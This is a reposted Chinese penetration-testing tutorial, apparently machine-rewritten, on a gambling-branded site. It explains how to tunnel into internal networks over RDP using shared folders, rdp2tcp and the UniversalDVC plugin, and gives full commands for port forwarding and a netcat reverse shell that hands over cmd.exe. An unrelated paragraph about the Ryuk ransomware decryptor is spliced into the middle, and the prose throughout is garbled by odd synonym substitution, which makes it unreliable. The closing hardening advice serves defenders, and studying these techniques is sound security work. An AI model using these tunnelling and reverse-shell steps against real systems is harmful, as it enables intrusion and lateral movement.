欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

渗入技能——运用远程桌面协定竖立通道

b9e08c31ae1faa592019-12-14111技术

0x00 媒介

近来从@cpl3h的博客中学到了运用远程桌面协定竖立通道的要领。

本文将对这个要领举行整顿,连系本身的履历,增添个人明白。

进修地点:

https://ijustwannared.team/2019/11/07/c2-over-rdp-virtual-channels/

0x01 简介

本文将要引见以下内容:

· 运用场景

· 运用同享文件竖立通道

· 运用rdp2tcp竖立通道

· 运用UniversalDVC竖立通道

· 应用剖析

· 防备发起

0x02 运用场景

由于防火墙的设置,只能衔接一台Windows服务器的远程桌面,那末如何故这台Windows服务器为跳板进入内网。

扼要形貌以下图:

0x03 运用同享文件竖立通道

经由过程读写RDP Client和RDP Server之间同享的文件作为数据传输的通道。

POC:

https://github.com/outflanknl/external_c2

这是依据Cobalt Strike中External C2范例编写的POC。

完成道理:

竖立远程桌面衔接时,RDP Client和RDP Server之间可以建立同享文件夹,经由过程读写同享文件作为数据传输的通道。

1.Windows体系衔接远程桌面并开启文件同享

(1)经由过程设置mstsc.exe开启文件同享

以下图:

(2)运用FreeRDP开启文件同享

下载地点:

https://cloudbase.it/freerdp-for-windows-nightly-builds/

敕令实例:

wfreerdp /v:192.168.112.129:3389 -u:1 -p:Test123! /cert-ignore /drive:share1,c:\

2.Kali体系衔接远程桌面并开启文件同享

(1)运用xfreerdp开启文件同享

将当地文件夹/tmp同享的敕令以下:

xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /drive:share1,/tmp

(2)运用rdesktop开启文件同享

将当地文件夹/tmp同享的敕令以下:

rdesktop 192.168.112.129 -u1 -pTest123! -r disk:share1=/tmp

在RDP Server上,可经由过程\\tsclient\接见同享的文件资本。

经由过程文件读写来传输数据的详细细节可参考xpn的文章:

https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/

0x04 运用rdp2tcp竖立通道

rdp2tcp运用RDP假造通道功用来复用端口。

可用的功用:

· 正向TCP端口转发

· 反向TCP端口转发

· 处置惩罚规范输入/输出转发

· SOCKS5代办

POC:

https://github.com/V-E-O/rdp2tcp

测试体系: Kali2 x64

1.下载并编译rdp2tcp

(1)装置mingw-w64

敕令以下:

apt-get install mingw-w64

(2)下载rdp2tcp

git clone https://github.com/V-E-O/rdp2tcp.git
cd rdp2tcp

(3)修正设置文件

rdp2tcp默许不支撑编译64位的exe,所以这里须要修正设置文件,增添编译64位exe的设置信息。

修正文件Makefile,新的内容以下:

all: client server-mingw64

client: client/rdp2tcp
client/rdp2tcp:
	make -C client

#server-mingw32: server/rdp2tcp.exe
#server/rdp2tcp.exe:
#	make -C server -f Makefile.mingw32

server-mingw64: server/rdp2tcp64.exe
server/rdp2tcp64.exe:
	make -C server -f Makefile.mingw64

clean:
	make -C client clean
#	make -C server -f Makefile.mingw32 clean
	make -C server -f Makefile.mingw64 clean
	make -C tools clean

注:

由于我们运用了64位的操作体系,而且装置了64位的mingw,所以这里设置为生成64位的exe。

新建文件/server/Makefile.mingw64,内容以下:

BIN=rdp2tcp64.exe
CC=i686-w64-mingw32-gcc
CFLAGS=-Wall -g \
		 -D_WIN32_WINNT=0x0501 \
		 -I../common

# -D_WIN32_WINNT=0x0501
# -D_WIN32_WINNT=0x0501 -DDEBUG

LDFLAGS=-lwtsapi32 -lws2_32
OBJS=	../common/iobuf.o \
	../common/print.o \
	../common/msgparser.o \
	../common/nethelper.o \
	../common/netaddr.o \
	errors.o aio.o events.o \
	tunnel.o channel.o process.o commands.o main.o

all: clean_common $(BIN)

clean_common:
	$(MAKE) -C ../common clean

$(BIN): $(OBJS)
	$(CC) -o [email protected] $(OBJS) $(LDFLAGS) 

%.o: %.c
	$(CC) $(CFLAGS) -o [email protected] -c $<

clean:
	rm -f $(OBJS) $(BIN)

(4)编译

敕令以下:

make

生成以下文件:

· /server/rdp2tcp64.exe

· /client/rdp2tcp

2.装置xfreerdp

Kali体系默许装置的xfreerdp不支撑TCP重定向的功用。

以下图:

假如支撑TCP重定向的功用,顺序回显的内容以下:

须要从新下载编译xfreerdp,这里我运用的版本是freerdp-nightly。

参考链接:

https://ci.freerdp.com/job/freerdp-nightly-binaries/

这里我运用的发行版为bionic,完全的装置敕令以下:

echo "deb http://pub.freerdp.com/repositories/deb/bionic/ freerdp-nightly main " >>/etc/apt/sources.list
wget -O - http://pub.freerdp.com/repositories/ADD6BF6D97CE5D8D.asc | sudo apt-key add -
apt-get update
apt-get install freerdp-nightly

对应的装置途径为/opt/freerdp-nightly。

启动新版的xfreerdp,对应的途径为: /opt/freerdp-nightly/bin/xfreerdp。

新版的xfreerdp支撑TCP重定向,以下图:

支付赎金也没用,Ryuk勒索软件解密器有bug Ryuk勒索软件名声在外,这几年收获了上亿的勒索收入。Ryuk勒索软件通过现有的恶意软件感染目标网络,使用RSA和AES结合的方式进行加密。Ryuk已经非常成功了,但并不意味着其创建者停止发展和改进它了。在过去这些年,我们看到Ryuk勒索软件在不断的加入新的特征。 其中一个特征就是其加密文件的能力。如果Ryuk勒索软件遇到一个大于54.4Mb(57000000字节)的文件,就只加密文件的特定部分以节省时间,并且在研究人员和用户注意到之前尽可能快的加密文件。 Ryuk用来确定文件大小是否超过57000000字节的代码 部分加密的文件与正常加密的文件在footer部分会有所不同,其中Hermes保存用于加密文件内容的RSA加密的AES公钥。除了Ryuk使用的HERMES文件标记外,还可以看到文件中有多少个100万字节的块被加密了。如果该标记没有了,就表示整个文件会被加密。 Ryuk文

3.运用xfreerdp衔接远程桌面并竖立通道

这里引见正向TCP端口转发的要领。

(1)实行xfreerdp并开启TCP重定向功用

Kali体系上实行:

/opt/freerdp-nightly/bin/xfreerdp /v:192.168.112.129:3389 /u:1 /p:Test123! /cert-ignore /rdp2tcp:/root/rdp2tcp/client/rdp2tcp

(2)将rdp2tcp64.exe上传至RDP Server并实行(不须要管理员权限)

实行效果以下图:

渗入技能——运用远程桌面协定竖立通道  技术 第1张

(3)在Kali体系上启动rdp2tcp.py

敕令以下:

cd rdp2tcp/tools
python rdp2tcp.py

增添正向端口转发(当地445->192.168.112.129:445)的敕令以下:

python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445

输出效果以下图:

(4)接见当地445端口

接见当地445端口的数据被转发至192.168.112.129的445端口,以下图:

渗入技能——运用远程桌面协定竖立通道  技术 第2张

正向端口转发竖立胜利。

0x05 运用UniversalDVC竖立通道

UniversalDVC是以注册UDVC插件的情势,运用动态假造通道竖立通道。

POC:

https://github.com/earthquake/UniversalDVC

测试体系: Win7 x64

1.装置UDVC插件

下载编译好的64位文件,地点以下:

https://github.com/earthquake/UniversalDVC/files/1880297/UDVC-x64.zip

将个中64位的dll保留在%windir%\system32下。

注册dll的敕令以下:

regsvr32.exe UDVC-Plugin.x64.dll

以下图:

渗入技能——运用远程桌面协定竖立通道  技术 第3张

UDVC插件注册后将建立注册表项用来保留设置信息。

设置文件的位置:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin

默许监听的端口为31337

注:在RDP Server启动UDVC-Server.exe后,UDVC插件才会开启监听端口。

2.完成端口转发的功用

(1)将Mode设置为Socket server mode (0 – default)

修正注册表的cmd敕令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 0 /f

(2)设置监听端口为1234

修正注册表的cmd敕令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

敕令以下:

mstsc.exe

衔接远程桌面。

(4)RDP Server启动UDVC-Server.exe

敕令以下:

UDVC-Server.x64.exe -c -p 80 -i 192.168.112.129 -0

(5)RDP Client翻开浏览器并接见http://127.0.0.1:1234

取得内网192.168.112.129:80的数据。

通道竖立完成,扼要流程图以下图:

3.完成反弹shell的功用

RDP Server反弹一个shell至RDP Client。

RDP Client可以实时掌握RDP Server,实行cmd敕令。

(1)将Mode设置为Socket client mode (1)

修正注册表的cmd敕令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v mode /t REG_DWORD /d 1 /f

(2)设置监听端口为1234

修正注册表的cmd敕令为:

reg add "hkcu\Software\Microsoft\Terminal Server Client\Default\AddIns\UDVC-Plugin" /v port /t REG_SZ /d 1234 /f

(3)启动远程桌面客户端

敕令以下:

mstsc.exe

衔接远程桌面。

(4)RDP Client运用nc监听当地端口1234

敕令以下:

nc64.exe -lvp 1234

(5)RDP Server启动UDVC-Server.exe

敕令以下:

UDVC-Server.x64.exe -p 5678 -0

此时将竖立一条动态假造通道:RDP Server->RDP Client:1234

而且RDP Server开启监听端口5678。

(6)RDP Server运用nc衔接当地端口5678并指定重定向的顺序为c:\windows\system32\cmd.exe

敕令以下:

nc64.exe 127.0.0.1 5678 -e c:\windows\system32\cmd.exe

通道竖立完成,扼要流程图以下图:

渗入技能——运用远程桌面协定竖立通道  技术 第4张

0x06 应用剖析

关于这三种竖立通道的要领(同享文件、rdp2tcp和UniversalDVC),应用条件是已取得了衔接远程桌面的权限。

严格地说,应用这台远程桌面服务器,就已可以对内网资本举行接见。

研讨这类要领的意义在于某些情况下远程桌面服务器没法运转我们的顺序。

比方远程桌面服务器为Windows体系,而我们想实行的顺序只支撑Linux,这就避免了斟酌顺序移植的问题

0x07 防备发起

1.外网远程桌面服务器的平安

假如攻击者可以运用远程桌面协定竖立通道,代表攻击者已取得了这台服务器的权限,所以关于开放外网接见的远程桌面服务器,不仅要实时更新补丁,还要注重提防口令爆破

2.运用组策略禁用重定向的装备

组策略位置:

Computer Configuration->Administrative Templates->Windows Components->Remote Desktop Services->Remote Desktop Session Host->Device and Resource Redirection

0x08 小结

本文参考@cpl3h的文章,对运用远程桌面协定竖立通道的要领举行整顿,连系本身的履历,增添个人明白,剖析应用思绪,总结防备发起。

原文地点: https://www.4hou.com/technology/22046.html

网友评论